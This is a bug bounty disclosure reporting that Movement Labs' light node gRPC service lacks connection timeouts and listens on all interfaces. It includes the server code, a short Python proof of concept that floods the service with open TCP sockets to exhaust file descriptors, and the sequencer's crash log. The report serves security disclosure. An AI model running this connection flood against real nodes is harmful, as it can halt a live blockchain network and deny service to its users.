#43244 [BC-Critical] Lack of TCP timeout allows attacker to crash the sequencer via the Light Node Service
Submitted on Apr 4th 2025 at 02:04:09 UTC by @usmannk for Attackathon | Movement Labs
Report ID: #43244
Report Type: Blockchain/DLT
Report severity: Critical
Target: https://github.com/immunefi-team/attackathon-movement/tree/main/protocol-units/da/movement/protocol/light-node
Impacts:
Network not being able to confirm new transactions (total network shutdown)
Description
Brief/Intro
The LightNodeService is started by the Movement Full Node and serves gRPC requests. However this service does not have any sort of timeout on its requests. This allows an attacker to crash the sequencer via resource exhaustion.
Vulnerability Details
the LightNodeService is bound to the ip address 0.0.0.0 in both the default and suggested (https://docs.movementnetwork.xyz/assets/files/config-4551e1260977506ebb8dcdea19b254ed.json) configurations. Because 0.0.0.0 allows requests from not just the local host but any IP address on the internet, an attacker may call this RPC from outside the local network.
Each gRPC request opened to the light node creates a file descriptor on the host. By default nix OS allows 256 file descriptors per process. By spamming the light node with connection requests and leaving them hanging, an attacker can use up all available file descriptors for the light node. At this point, the light node cannot accept any further connections. The sequencer will not be able to submit new DA batches to it and the network will halt.
Further, the healthchecker set up by Movement in the default setup will actually kill the light node when this happens. In that case the sequencer full node also crashes.
Impact Details
The sequencer will not be able to submit batches to DA. It will then also panic and crash, halting the network.
References
protocol-units/da/movement/protocol/light-node/src/light_node.rs
async fn run_server(&self) -> Result<(), anyhow::Error> {
let reflection = tonic_reflection::server::Builder::configure()
.register_encoded_file_descriptor_set(movement_da_light_node_proto::FILE_DESCRIPTOR_SET)
.build_v1()?;
let address = self.try_service_address()?;
info!("Server listening on: {}", address);
Server::builder()
.max_frame_size(1024 * 1024 * 16 - 1)
.accept_http1(true)
.add_service(LightNodeServiceServer::new(self.clone()))
.add_service(reflection)
.serve(address.parse()?)
.await?;
Ok(())
}
Proof of Concept
Proof of Concept
run movement stack by calling
just movement-full-node native build.setup.celestia-local.eth-local
run the following python code pointed at the address and port of the lightnodeservice
import socket
server_address = ('localhost', 30730)
arr = []
for _ in range(9999): # adjust for fd limit, likely 256 will suffice
arr.append(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
arr[-1].connect(server_address)
observe as the light node becomes unavailable then the sequencer crashes, halting the network.
2025-04-04T02:00:25.723988Z INFO movement_full_node::node::tasks::execute_settle: Receive DA heartbeat
thread 'tokio-runtime-worker' panicked at /Users/<redacted>/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.41.1/src/
runtime/blocking/shutdown.rs:51:21:
Cannot drop a runtime in a context where blocking is not allowed. This happens when a runtime is dropped from within an asynchronous context.
Was this helpful?